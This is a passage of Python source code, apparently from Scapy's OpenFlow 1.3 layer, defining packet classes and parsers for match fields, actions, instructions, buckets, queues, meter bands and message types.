self.m2i(pkt, current) lst.append(p) return remain + ret, lst class OFPMatch(Packet): def post_build(self, p, pay): l = self.length if l is None: l = len(p)+len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] zero_bytes = (8 - l%8) % 8 p += "\x00" * zero_bytes # message with user-defined length will not be automatically padded return p + pay def extract_padding(self, s): l = self.length zero_bytes = (8 - l%8) % 8 return s[zero_bytes:], s[:zero_bytes] name = "OFP_MATCH" fields_desc= [ ShortEnumField("type", 1, { 0: "OFPMT_STANDARD", 1: "OFPMT_OXM" }), ShortField("length", None), OXMPacketListField("oxm_fields", [], Packet, length_from=lambda pkt:pkt.length-4) ] ### ofp_match is no longer a fixed-length structure in v1.3 ### furthermore it may include variable padding ### we introduce to that end a subclass of PacketField class MatchField(PacketField): def __init__(self, name): PacketField.__init__(self, name, OFPMatch(), OFPMatch) def getfield(self, pkt, s): i = self.m2i(pkt, s) ### i can be or > ### or > or >> ### and we want to return "", or "", > ### or str(), or str(), > if Raw in i: r = i[Raw] if Padding in r: p = r[Padding] i.payload = p del(r.payload) return r.load, i else: return "", i ###################### Actions ###################### class _ofp_action_header(Packet): name = "Dummy OpenFlow Action Header" def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] return p + pay ofp_action_types = { 0: "OFPAT_OUTPUT", 1: "OFPAT_SET_VLAN_VID", 2: "OFPAT_SET_VLAN_PCP", 3: "OFPAT_STRIP_VLAN", 4: "OFPAT_SET_DL_SRC", 5: "OFPAT_SET_DL_DST", 6: "OFPAT_SET_NW_SRC", 7: "OFPAT_SET_NW_DST", 8: "OFPAT_SET_NW_TOS", 9: "OFPAT_SET_TP_SRC", 10: "OFPAT_SET_TP_DST", #11: "OFPAT_ENQUEUE", 11: "OFPAT_COPY_TTL_OUT", 12: "OFPAT_COPY_TTL_IN", 13: "OFPAT_SET_MPLS_LABEL", 14: "OFPAT_DEC_MPLS_TC", 15: "OFPAT_SET_MPLS_TTL", 16: "OFPAT_DEC_MPLS_TTL", 17: "OFPAT_PUSH_VLAN", 18: "OFPAT_POP_VLAN", 19: "OFPAT_PUSH_MPLS", 20: "OFPAT_POP_MPLS", 21: "OFPAT_SET_QUEUE", 22: "OFPAT_GROUP", 23: "OFPAT_SET_NW_TTL", 24: "OFPAT_DEC_NW_TTL", 25: "OFPAT_SET_FIELD", 26: "OFPAT_PUSH_PBB", 27: "OFPAT_POP_PBB", 65535: "OFPAT_EXPERIMENTER" } class OFPATOutput(_ofp_action_header): name = "OFPAT_OUTPUT" fields_desc = [ ShortEnumField("type", 0, ofp_action_types), ShortField("len", 16), IntEnumField("port", 0, ofp_port_no), ShortEnumField("max_len", "NO_BUFFER", ofp_max_len), XBitField("pad", 0, 48) ] # the following actions are not supported by OFv1.3 class OFPATSetVLANVID(_ofp_action_header): name = "OFPAT_SET_VLAN_VID" fields_desc = [ ShortEnumField("type", 1, ofp_action_types), ShortField("len", 8), ShortField("vlan_vid", 0), XShortField("pad", 0) ] class OFPATSetVLANPCP(_ofp_action_header): name = "OFPAT_SET_VLAN_PCP" fields_desc = [ ShortEnumField("type", 2, ofp_action_types), ShortField("len", 8), ByteField("vlan_pcp", 0), X3BytesField("pad", 0) ] class OFPATStripVLAN(_ofp_action_header): name = "OFPAT_STRIP_VLAN" fields_desc = [ ShortEnumField("type", 3, ofp_action_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPATSetDlSrc(_ofp_action_header): name = "OFPAT_SET_DL_SRC" fields_desc = [ ShortEnumField("type", 4, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48) ] class OFPATSetDlDst(_ofp_action_header): name = "OFPAT_SET_DL_DST" fields_desc = [ ShortEnumField("type", 5, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48) ] class OFPATSetNwSrc(_ofp_action_header): name = "OFPAT_SET_NW_SRC" fields_desc = [ ShortEnumField("type", 6, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0") ] class OFPATSetNwDst(_ofp_action_header): name = "OFPAT_SET_NW_DST" fields_desc = [ ShortEnumField("type", 7, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0") ] class OFPATSetNwToS(_ofp_action_header): name = "OFPAT_SET_TP_TOS" fields_desc = [ ShortEnumField("type", 8, ofp_action_types), ShortField("len", 8), ByteField("nw_tos", 0), X3BytesField("pad", 0) ] class OFPATSetTpSrc(_ofp_action_header): name = "OFPAT_SET_TP_SRC" fields_desc = [ ShortEnumField("type", 9, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0) ] class OFPATSetTpDst(_ofp_action_header): name = "OFPAT_SET_TP_DST" fields_desc = [ ShortEnumField("type", 10, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0) ] #class OFPATEnqueue(_ofp_action_header): # name = "OFPAT_ENQUEUE" # fields_desc = [ ShortEnumField("type", 11, ofp_action_types), # ShortField("len", 16), # ShortField("port", 0), # XBitField("pad", 0, 48), # IntEnumField("queue_id", 0, ofp_queue) ] class OFPATSetMPLSLabel(_ofp_action_header): name = "OFPAT_SET_MPLS_LABEL" fields_desc = [ ShortEnumField("type", 13, ofp_action_types), ShortField("len", 8), IntField("mpls_label", 0) ] class OFPATSetMPLSTC(_ofp_action_header): name = "OFPAT_SET_MPLS_TC" fields_desc = [ ShortEnumField("type", 14, ofp_action_types), ShortField("len", 8), ByteField("mpls_tc", 0), X3BytesField("pad", 0) ] # end of unsupported actions class OFPATCopyTTLOut(_ofp_action_header): name = "OFPAT_COPY_TTL_OUT" fields_desc = [ ShortEnumField("type", 11, ofp_action_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPATCopyTTLIn(_ofp_action_header): name = "OFPAT_COPY_TTL_IN" fields_desc = [ ShortEnumField("type", 12, ofp_action_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPATSetMPLSTTL(_ofp_action_header): name = "OFPAT_SET_MPLS_TTL" fields_desc = [ ShortEnumField("type", 15, ofp_action_types), ShortField("len", 8), ByteField("mpls_ttl", 0), X3BytesField("pad", 0) ] class OFPATDecMPLSTTL(_ofp_action_header): name = "OFPAT_DEC_MPLS_TTL" fields_desc = [ ShortEnumField("type", 16, ofp_action_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPATPushVLAN(_ofp_action_header): name = "OFPAT_PUSH_VLAN" fields_desc = [ ShortEnumField("type", 17, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x8100), # or 0x88a8 XShortField("pad", 0) ] class OFPATPopVLAN(_ofp_action_header): name = "OFPAT_POP_VLAN" fields_desc = [ ShortEnumField("type", 18, ofp_action_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPATPushMPLS(_ofp_action_header): name = "OFPAT_PUSH_MPLS" fields_desc = [ ShortEnumField("type", 19, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x8847), # or 0x8848 XShortField("pad", 0) ] class OFPATPopMPLS(_ofp_action_header): name = "OFPAT_POP_MPLS" fields_desc = [ ShortEnumField("type", 20, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x8847), # or 0x8848 XShortField("pad", 0) ] class OFPATSetQueue(_ofp_action_header): name = "OFPAT_SET_QUEUE" fields_desc = [ ShortEnumField("type", 21, ofp_action_types), ShortField("len", 8), IntEnumField("queue_id", 0, ofp_queue) ] class OFPATGroup(_ofp_action_header): name = "OFPAT_GROUP" fields_desc = [ ShortEnumField("type", 22, ofp_action_types), ShortField("len", 8), IntEnumField("group_id", 0, ofp_group) ] class OFPATSetNwTTL(_ofp_action_header): name = "OFPAT_SET_NW_TTL" fields_desc = [ ShortEnumField("type", 23, ofp_action_types), ShortField("len", 8), ByteField("nw_ttl", 0), X3BytesField("pad", 0) ] class OFPATDecNwTTL(_ofp_action_header): name = "OFPAT_DEC_NW_TTL" fields_desc = [ ShortEnumField("type", 24, ofp_action_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPATSetField(_ofp_action_header): def post_build(self, p, pay): l = self.len zero_bytes = 0 if l is None: l = len(p)+len(pay) zero_bytes = (8 - l%8) % 8 l = l + zero_bytes # add padding length p = p[:2] + struct.pack("!H", l) + p[4:] else: zero_bytes = (8 - l%8) % 8 # every message will be padded correctly p += "\x00" * zero_bytes return p + pay def extract_padding(self, s): return "", s name = "OFPAT_SET_FIELD" fields_desc = [ ShortEnumField("type", 25, ofp_action_types), ShortField("len", None), # there should not be more than one oxm tlv OXMPacketListField("field", [], Packet, length_from=lambda pkt:pkt.len-4, # /!\ contains padding! autocomplete=False) ] class OFPATPushPBB(_ofp_action_header): name = "OFPAT_PUSH_PBB" fields_desc = [ ShortEnumField("type", 26, ofp_action_types), ShortField("len", 8), ShortField("ethertype", 0x88e7), XShortField("pad", 0) ] class OFPATPopPBB(_ofp_action_header): name = "OFPAT_POP_PBB" fields_desc = [ ShortEnumField("type", 27, ofp_action_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPATExperimenter(_ofp_action_header): name = "OFPAT_EXPERIMENTER" fields_desc = [ ShortEnumField("type", 65535, ofp_action_types), ShortField("len", 8), IntField("experimenter", 0) ] ofp_action_cls = { 0: OFPATOutput, 1: OFPATSetVLANVID, 2: OFPATSetVLANPCP, 3: OFPATStripVLAN, 4: OFPATSetDlSrc, 5: OFPATSetDlDst, 6: OFPATSetNwSrc, 7: OFPATSetNwDst, 8: OFPATSetNwToS, 9: OFPATSetTpSrc, 10: OFPATSetTpDst, #11: OFPATEnqueue, 11: OFPATCopyTTLOut, 12: OFPATCopyTTLIn, 13: OFPATSetMPLSLabel, 14: OFPATSetMPLSTC, 15: OFPATSetMPLSTTL, 16: OFPATDecMPLSTTL, 17: OFPATPushVLAN, 18: OFPATPopVLAN, 19: OFPATPushMPLS, 20: OFPATPopMPLS, 21: OFPATSetQueue, 22: OFPATGroup, 23: OFPATSetNwTTL, 24: OFPATDecNwTTL, 25: OFPATSetField, 26: OFPATPushPBB, 27: OFPATPopPBB, 65535: OFPATExperimenter } class ActionPacketListField(PacketListField): def m2i(self, pkt, s): t = struct.unpack("!H", s[:2])[0] return ofp_action_cls.get(t, Raw)(s) @staticmethod def _get_action_length(s): return struct.unpack("!H", s[2:4])[0] def getfield(self, pkt, s): lst = [] remain = s while remain and len(remain)>=4: l = ActionPacketListField._get_action_length(remain) if l < 8 or len(remain) < l: # length should be at least 8 (non-zero, 64-bit aligned), # and no incoherent length break current = remain[:l] remain = remain[l:] p = self.m2i(pkt, current) lst.append(p) return remain, lst ##################### Action IDs #################### # length is computed as in instruction structures, # so we reuse _ofp_instruction_header class OFPATOutputID(_ofp_action_header): name = "OFPAT_OUTPUT" fields_desc = [ ShortEnumField("type", 0, ofp_action_types), ShortField("len", 4) ] # the following actions are not supported by OFv1.3 class OFPATSetVLANVIDID(_ofp_action_header): name = "OFPAT_SET_VLAN_VID" fields_desc = [ ShortEnumField("type", 1, ofp_action_types), ShortField("len", 4) ] class OFPATSetVLANPCPID(_ofp_action_header): name = "OFPAT_SET_VLAN_PCP" fields_desc = [ ShortEnumField("type", 2, ofp_action_types), ShortField("len", 4) ] class OFPATStripVLANID(_ofp_action_header): name = "OFPAT_STRIP_VLAN" fields_desc = [ ShortEnumField("type", 3, ofp_action_types), ShortField("len", 4) ] class OFPATSetDlSrcID(_ofp_action_header): name = "OFPAT_SET_DL_SRC" fields_desc = [ ShortEnumField("type", 4, ofp_action_types), ShortField("len", 4) ] class OFPATSetDlDstID(_ofp_action_header): name = "OFPAT_SET_DL_DST" fields_desc = [ ShortEnumField("type", 5, ofp_action_types), ShortField("len", 4) ] class OFPATSetNwSrcID(_ofp_action_header): name = "OFPAT_SET_NW_SRC" fields_desc = [ ShortEnumField("type", 6, ofp_action_types), ShortField("len", 4) ] class OFPATSetNwDstID(_ofp_action_header): name = "OFPAT_SET_NW_DST" fields_desc = [ ShortEnumField("type", 7, ofp_action_types), ShortField("len", 4) ] class OFPATSetNwToSID(_ofp_action_header): name = "OFPAT_SET_TP_TOS" fields_desc = [ ShortEnumField("type", 8, ofp_action_types), ShortField("len", 4) ] class OFPATSetTpSrcID(_ofp_action_header): name = "OFPAT_SET_TP_SRC" fields_desc = [ ShortEnumField("type", 9, ofp_action_types), ShortField("len", 4) ] class OFPATSetTpDstID(_ofp_action_header): name = "OFPAT_SET_TP_DST" fields_desc = [ ShortEnumField("type", 10, ofp_action_types), ShortField("len", 4) ] #class OFPATEnqueueID(_ofp_action_header): # name = "OFPAT_ENQUEUE" # fields_desc = [ ShortEnumField("type", 11, ofp_action_types), # ShortField("len", 4) ] class OFPATSetMPLSLabelID(_ofp_action_header): name = "OFPAT_SET_MPLS_LABEL" fields_desc = [ ShortEnumField("type", 13, ofp_action_types), ShortField("len", 4) ] class OFPATSetMPLSTCID(_ofp_action_header): name = "OFPAT_SET_MPLS_TC" fields_desc = [ ShortEnumField("type", 14, ofp_action_types), ShortField("len", 4) ] # end of unsupported actions class OFPATCopyTTLOutID(_ofp_action_header): name = "OFPAT_COPY_TTL_OUT" fields_desc = [ ShortEnumField("type", 11, ofp_action_types), ShortField("len", 4) ] class OFPATCopyTTLInID(_ofp_action_header): name = "OFPAT_COPY_TTL_IN" fields_desc = [ ShortEnumField("type", 12, ofp_action_types), ShortField("len", 4) ] class OFPATSetMPLSTTLID(_ofp_action_header): name = "OFPAT_SET_MPLS_TTL" fields_desc = [ ShortEnumField("type", 15, ofp_action_types), ShortField("len", 4) ] class OFPATDecMPLSTTLID(_ofp_action_header): name = "OFPAT_DEC_MPLS_TTL" fields_desc = [ ShortEnumField("type", 16, ofp_action_types), ShortField("len", 4) ] class OFPATPushVLANID(_ofp_action_header): name = "OFPAT_PUSH_VLAN" fields_desc = [ ShortEnumField("type", 17, ofp_action_types), ShortField("len", 4) ] class OFPATPopVLANID(_ofp_action_header): name = "OFPAT_POP_VLAN" fields_desc = [ ShortEnumField("type", 18, ofp_action_types), ShortField("len", 4) ] class OFPATPushMPLSID(_ofp_action_header): name = "OFPAT_PUSH_MPLS" fields_desc = [ ShortEnumField("type", 19, ofp_action_types), ShortField("len", 4) ] class OFPATPopMPLSID(_ofp_action_header): name = "OFPAT_POP_MPLS" fields_desc = [ ShortEnumField("type", 20, ofp_action_types), ShortField("len", 4) ] class OFPATSetQueueID(_ofp_action_header): name = "OFPAT_SET_QUEUE" fields_desc = [ ShortEnumField("type", 21, ofp_action_types), ShortField("len", 4) ] class OFPATGroupID(_ofp_action_header): name = "OFPAT_GROUP" fields_desc = [ ShortEnumField("type", 22, ofp_action_types), ShortField("len", 4) ] class OFPATSetNwTTLID(_ofp_action_header): name = "OFPAT_SET_NW_TTL" fields_desc = [ ShortEnumField("type", 23, ofp_action_types), ShortField("len", 4) ] class OFPATDecNwTTLID(_ofp_action_header): name = "OFPAT_DEC_NW_TTL" fields_desc = [ ShortEnumField("type", 24, ofp_action_types), ShortField("len", 4) ] class OFPATSetFieldID(_ofp_action_header): name = "OFPAT_SET_FIELD" fields_desc = [ ShortEnumField("type", 25, ofp_action_types), ShortField("len", 4) ] class OFPATPushPBBID(_ofp_action_header): name = "OFPAT_PUSH_PBB" fields_desc = [ ShortEnumField("type", 26, ofp_action_types), ShortField("len", 4) ] class OFPATPopPBBID(_ofp_action_header): name = "OFPAT_POP_PBB" fields_desc = [ ShortEnumField("type", 27, ofp_action_types), ShortField("len", 4) ] class OFPATExperimenterID(_ofp_action_header): name = "OFPAT_EXPERIMENTER" fields_desc = [ ShortEnumField("type", 65535, ofp_action_types), ShortField("len", None) ] ofp_action_id_cls = { 0: OFPATOutputID, 1: OFPATSetVLANVIDID, 2: OFPATSetVLANPCPID, 3: OFPATStripVLANID, 4: OFPATSetDlSrcID, 5: OFPATSetDlDstID, 6: OFPATSetNwSrcID, 7: OFPATSetNwDstID, 8: OFPATSetNwToSID, 9: OFPATSetTpSrcID, 10: OFPATSetTpDstID, #11: OFPATEnqueueID, 11: OFPATCopyTTLOutID, 12: OFPATCopyTTLInID, 13: OFPATSetMPLSLabelID, 14: OFPATSetMPLSTCID, 15: OFPATSetMPLSTTLID, 16: OFPATDecMPLSTTLID, 17: OFPATPushVLANID, 18: OFPATPopVLANID, 19: OFPATPushMPLSID, 20: OFPATPopMPLSID, 21: OFPATSetQueueID, 22: OFPATGroupID, 23: OFPATSetNwTTLID, 24: OFPATDecNwTTLID, 25: OFPATSetFieldID, 26: OFPATPushPBBID, 27: OFPATPopPBBID, 65535: OFPATExperimenterID } class ActionIDPacketListField(PacketListField): def m2i(self, pkt, s): t = struct.unpack("!H", s[:2])[0] return ofp_action_id_cls.get(t, Raw)(s) @staticmethod def _get_action_id_length(s): return struct.unpack("!H", s[2:4])[0] def getfield(self, pkt, s): lst = [] remain = s while remain and len(remain) >= 4: l = ActionIDPacketListField._get_action_id_length(remain) if l < 4 or len(remain) < l: # length is 4 (may be more for experimenter messages), # and no incoherent length break current = remain[:l] remain = remain[l:] p = self.m2i(pkt, current) lst.append(p) return remain, lst #################### Instructions ################### class _ofp_instruction_header(Packet): name = "Dummy OpenFlow Instruction Header" def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] return p + pay ofp_instruction_types = { 1: "OFPIT_GOTO_TABLE", 2: "OFPIT_WRITE_METADATA", 3: "OFPIT_WRITE_ACTIONS", 4: "OFPIT_APPLY_ACTIONS", 5: "OFPIT_CLEAR_ACTIONS", 6: "OFPIT_METER", 65535: "OFPIT_EXPERIMENTER" } class OFPITGotoTable(_ofp_instruction_header): name = "OFPIT_GOTO_TABLE" fields_desc = [ ShortEnumField("type", 1, ofp_instruction_types), ShortField("len", 8), ByteEnumField("table_id", 0, ofp_table), X3BytesField("pad", 0) ] class OFPITWriteMetadata(_ofp_instruction_header): name = "OFPIT_WRITE_METADATA" fields_desc = [ ShortEnumField("type", 2, ofp_instruction_types), ShortField("len", 24), XIntField("pad", 0), LongField("metadata", 0), LongField("metadata_mask", 0) ] class OFPITWriteActions(_ofp_instruction_header): name = "OFPIT_WRITE_ACTIONS" fields_desc = [ ShortEnumField("type", 3, ofp_instruction_types), ShortField("len", None), XIntField("pad", 0), ActionPacketListField("actions", [], Packet, length_from=lambda pkt:pkt.len-8) ] class OFPITApplyActions(_ofp_instruction_header): name = "OFPIT_APPLY_ACTIONS" fields_desc = [ ShortEnumField("type", 4, ofp_instruction_types), ShortField("len", None), XIntField("pad", 0), ActionPacketListField("actions", [], Packet, length_from=lambda pkt:pkt.len-8) ] class OFPITClearActions(_ofp_instruction_header): name = "OFPIT_CLEAR_ACTIONS" fields_desc = [ ShortEnumField("type", 5, ofp_instruction_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPITMeter(_ofp_instruction_header): name = "OFPIT_METER" fields_desc = [ ShortEnumField("type", 6, ofp_instruction_types), ShortField("len", 8), IntEnumField("meter_id", 1, ofp_meter) ] class OFPITExperimenter(_ofp_instruction_header): name = "OFPIT_EXPERIMENTER" fields_desc = [ ShortEnumField("type", 65535, ofp_instruction_types), ShortField("len", None), IntField("experimenter", 0) ] ofp_instruction_cls = { 1: OFPITGotoTable, 2: OFPITWriteMetadata, 3: OFPITWriteActions, 4: OFPITApplyActions, 5: OFPITClearActions, 6: OFPITMeter, 65535: OFPITExperimenter } class InstructionPacketListField(PacketListField): def m2i(self, pkt, s): t = struct.unpack("!H", s[:2])[0] return ofp_instruction_cls.get(t, Raw)(s) @staticmethod def _get_instruction_length(s): return struct.unpack("!H", s[2:4])[0] def getfield(self, pkt, s): lst = [] remain = s while remain and len(remain) > 4: l = InstructionPacketListField._get_instruction_length(remain) if l < 8 or len(remain) < l: # length should be at least 8 (non-zero, 64-bit aligned), # and no incoherent length break current = remain[:l] remain = remain[l:] p = self.m2i(pkt, current) lst.append(p) return remain, lst ################## Instruction IDs ################## # length is computed as in instruction structures, # so we reuse _ofp_instruction_header class OFPITGotoTableID(_ofp_instruction_header): name = "OFPIT_GOTO_TABLE" fields_desc = [ ShortEnumField("type", 1, ofp_instruction_types), ShortField("len", 4) ] class OFPITWriteMetadataID(_ofp_instruction_header): name = "OFPIT_WRITE_METADATA" fields_desc = [ ShortEnumField("type", 2, ofp_instruction_types), ShortField("len", 4) ] class OFPITWriteActionsID(_ofp_instruction_header): name = "OFPIT_WRITE_ACTIONS" fields_desc = [ ShortEnumField("type", 3, ofp_instruction_types), ShortField("len", 4) ] class OFPITApplyActionsID(_ofp_instruction_header): name = "OFPIT_APPLY_ACTIONS" fields_desc = [ ShortEnumField("type", 4, ofp_instruction_types), ShortField("len", 4) ] class OFPITClearActionsID(_ofp_instruction_header): name = "OFPIT_CLEAR_ACTIONS" fields_desc = [ ShortEnumField("type", 5, ofp_instruction_types), ShortField("len", 4) ] class OFPITMeterID(_ofp_instruction_header): name = "OFPIT_METER" fields_desc = [ ShortEnumField("type", 6, ofp_instruction_types), ShortField("len", 4) ] class OFPITExperimenterID(_ofp_instruction_header): name = "OFPIT_EXPERIMENTER" fields_desc = [ ShortEnumField("type", 65535, ofp_instruction_types), ShortField("len", None) ] ofp_instruction_id_cls = { 1: OFPITGotoTableID, 2: OFPITWriteMetadataID, 3: OFPITWriteActionsID, 4: OFPITApplyActionsID, 5: OFPITClearActionsID, 6: OFPITMeterID, 65535: OFPITExperimenterID } class InstructionIDPacketListField(PacketListField): def m2i(self, pkt, s): t = struct.unpack("!H", s[:2])[0] return ofp_instruction_cls.get(t, Raw)(s) @staticmethod def _get_instruction_id_length(s): return struct.unpack("!H", s[2:4])[0] def getfield(self, pkt, s): lst = [] remain = s while remain and len(remain) >= 4: l = InstructionIDPacketListField._get_instruction_id_length(remain) if l < 4 or len(remain) < l: # length is 4 (may be more for experimenter messages), # and no incoherent length break current = remain[:l] remain = remain[l:] p = self.m2i(pkt, current) lst.append(p) return remain, lst ###################### Buckets ###################### class OFPBucket(Packet): def extract_padding(self, s): return "", s def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = struct.pack("!H", l) + p[2:] return p + pay name = "OFP_BUCKET" fields_desc = [ ShortField("len", None), ShortField("weight", 0), IntEnumField("watch_port", 0, ofp_port_no), IntEnumField("watch_group", 0, ofp_group), XIntField("pad", 0), ActionPacketListField("actions", [], Packet, length_from=lambda pkt:pkt.len-16) ] class BucketPacketListField(PacketListField): @staticmethod def _get_bucket_length(s): return struct.unpack("!H", s[:2])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = BucketPacketListField._get_bucket_length(remain) current = remain[:l] remain = remain[l:] p = OFPBucket(current) lst.append(p) return remain, lst ####################### Queues ###################### class _ofp_queue_property_header(Packet): name = "Dummy OpenFlow Queue Property Header" def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] return p + pay ofp_queue_property_types = { 0: "OFPQT_NONE", 1: "OFPQT_MIN_RATE" } class OFPQTNone(_ofp_queue_property_header): name = "OFPQT_NONE" fields_desc = [ ShortEnumField("type", 0, ofp_queue_property_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPQTMinRate(_ofp_queue_property_header): name = "OFPQT_MIN_RATE" fields_desc = [ ShortEnumField("type", 1, ofp_queue_property_types), ShortField("len", 16), XIntField("pad1", 0), ShortField("rate", 0), XBitField("pad2", 0, 48) ] ofp_queue_property_cls = { 0: OFPQTNone, 1: OFPQTMinRate } class QueuePropertyPacketListField(PacketListField): def m2i(self, pkt, s): t = struct.unpack("!H", s[:2])[0] return ofp_queue_property_cls.get(t, Raw)(s) @staticmethod def _get_queue_property_length(s): return struct.unpack("!H", s[2:4])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = QueuePropertyPacketListField._get_queue_property_length(remain) current = remain[:l] remain = remain[l:] p = self.m2i(pkt, current) lst.append(p) return remain, lst class OFPPacketQueue(Packet): def extract_padding(self, s): return "", s def post_build(self, p, pay): if self.properties == []: p += str(OFPQTNone()) if self.len is None: l = len(p)+len(pay) p = p[:4] + struct.pack("!H", l) + p[6:] return p + pay name = "OFP_PACKET_QUEUE" fields_desc = [ IntEnumField("queue_id", 0, ofp_queue), ShortField("len", None), XShortField("pad", 0), QueuePropertyPacketListField("properties", [], Packet, length_from=lambda pkt:pkt.len-8) ] class QueuePacketListField(PacketListField): @staticmethod def _get_queue_length(s): return struct.unpack("!H", s[4:6])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = QueuePacketListField._get_queue_length(remain) current = remain[:l] remain = remain[l:] p = OFPPacketQueue(current) lst.append(p) return remain, lst #################### Meter bands #################### ofp_meter_band_types = { 0: "OFPMBT_DROP", 1: "OFPMBT_DSCP_REMARK", 65535: "OFPMBT_EXPERIMENTER" } class OFPMBTDrop(Packet): name = "OFPMBT_DROP" fields_desc = [ ShortEnumField("type", 0, ofp_queue_property_types), ShortField("len", 16), IntField("rate", 0), IntField("burst_size", 0), XIntField("pad", 0) ] class OFPMBTDSCPRemark(Packet): name = "OFPMBT_DSCP_REMARK" fields_desc = [ ShortEnumField("type", 1, ofp_queue_property_types), ShortField("len", 16), IntField("rate", 0), IntField("burst_size", 0), ByteField("prec_level", 0), X3BytesField("pad", 0) ] class OFPMBTExperimenter(Packet): name = "OFPMBT_EXPERIMENTER" fields_desc = [ ShortEnumField("type", 65535, ofp_queue_property_types), ShortField("len", 16), IntField("rate", 0), IntField("burst_size", 0), IntField("experimenter", 0) ] ofp_meter_band_cls = { 0: OFPMBTDrop, 1: OFPMBTDSCPRemark, 2: OFPMBTExperimenter } class MeterBandPacketListField(PacketListField): def m2i(self, pkt, s): t = struct.unpack("!H", s[:2])[0] return ofp_meter_band_cls.get(t, Raw)(s) def getfield(self, pkt, s): lst = [] remain = s while remain: current = remain[:16] remain = remain[16:] p = self.m2i(pkt, current) lst.append(p) return remain, lst ##################################################### ############## OpenFlow 1.3 Messages ################ ##################################################### ofp_version = { 0x01: "OpenFlow 1.0", 0x02: "OpenFlow 1.1", 0x03: "OpenFlow 1.2", 0x04: "OpenFlow 1.3", 0x05: "OpenFlow 1.4" } ofp_type = { 0: "OFPT_HELLO", 1: "OFPT_ERROR", 2: "OFPT_ECHO_REQUEST", 3: "OFPT_ECHO_REPLY", 4: "OFPT_EXPERIMENTER", 5: "OFPT_FEATURES_REQUEST", 6: "OFPT_FEATURES_REPLY", 7: "OFPT_GET_CONFIG_REQUEST", 8: "OFPT_GET_CONFIG_REPLY", 9: "OFPT_SET_CONFIG", 10: "OFPT_PACKET_IN", 11: "OFPT_FLOW_REMOVED", 12: "OFPT_PORT_STATUS", 13: "OFPT_PACKET_OUT", 14: "OFPT_FLOW_MOD", 15: "OFPT_GROUP_MOD", 16: "OFPT_PORT_MOD", 17: "OFPT_TABLE_MOD", 18: "OFPT_MULTIPART_REQUEST", 19: "OFPT_MULTIPART_REPLY", 20: "OFPT_BARRIER_REQUEST", 21: "OFPT_BARRIER_REPLY", 22: "OFPT_QUEUE_GET_CONFIG_REQUEST", 23: "OFPT_QUEUE_GET_CONFIG_REPLY", 24: "OFPT_ROLE_REQUEST", 25: "OFPT_ROLE_REPLY", 26: "OFPT_GET_ASYNC_REQUEST", 27: "OFPT_GET_ASYNC_REPLY", 28: "OFPT_SET_ASYNC", 29: "OFPT_METER_MOD" } class _ofp_header(Packet): name = "Dummy OpenFlow Header" def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] return p + pay class OFPTHello(_ofp_header): name = "OFPT_HELLO" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 0, ofp_type), ShortField("len", None), IntField("xid", 0), HelloElemPacketListField("elements", [], Packet, length_from=lambda pkt:pkt.len-32) ] overload_fields = {TCP: {"sport": 6653}} ##################################################### ##################### OFPT_ERROR #################### ##################################################### ### this class will be used to display some messages ### sent back by the switch after an error class OFPacketField(PacketField): def getfield(self, pkt, s): try: l = s[2:4] l = struct.unpack("!H", l)[0] ofload = s[:l] remain = s[l:] return remain, OpenFlow(None, ofload)(ofload) except: return "", Raw(s) ofp_error_type = { 0: "OFPET_HELLO_FAILED", 1: "OFPET_BAD_REQUEST", 2: "OFPET_BAD_ACTION", 3: "OFPET_BAD_INSTRUCTION", 4: "OFPET_BAD_MATCH", 5: "OFPET_FLOW_MOD_FAILED", 6: "OFPET_GROUP_MOD_FAILED", 7: "OFPET_PORT_MOD_FAILED", 8: "OFPET_TABLE_MOD_FAILED", 9: "OFPET_QUEUE_OP_FAILED", 10: "OFPET_SWITCH_CONFIG_FAILED", 11: "OFPET_ROLE_REQUEST_FAILED", 12: "OFPET_METER_MOD_FAILED", 13: "OFPET_TABLE_FEATURES_FAILED", 65535: "OFPET_EXPERIMENTER" } class OFPETHelloFailed(_ofp_header): name = "OFPET_HELLO_FAILED" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 0, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPHFC_INCOMPATIBLE", 1: "OFPHFC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETBadRequest(_ofp_header): name = "OFPET_BAD_REQUEST" fields_desc = [ ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 1, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPBRC_BAD_VERSION", 1: "OFPBRC_BAD_TYPE", 2: "OFPBRC_BAD_MULTIPART", 3: "OFPBRC_BAD_EXPERIMENTER", 4: "OFPBRC_BAD_EXP_TYPE", 5: "OFPBRC_EPERM", 6: 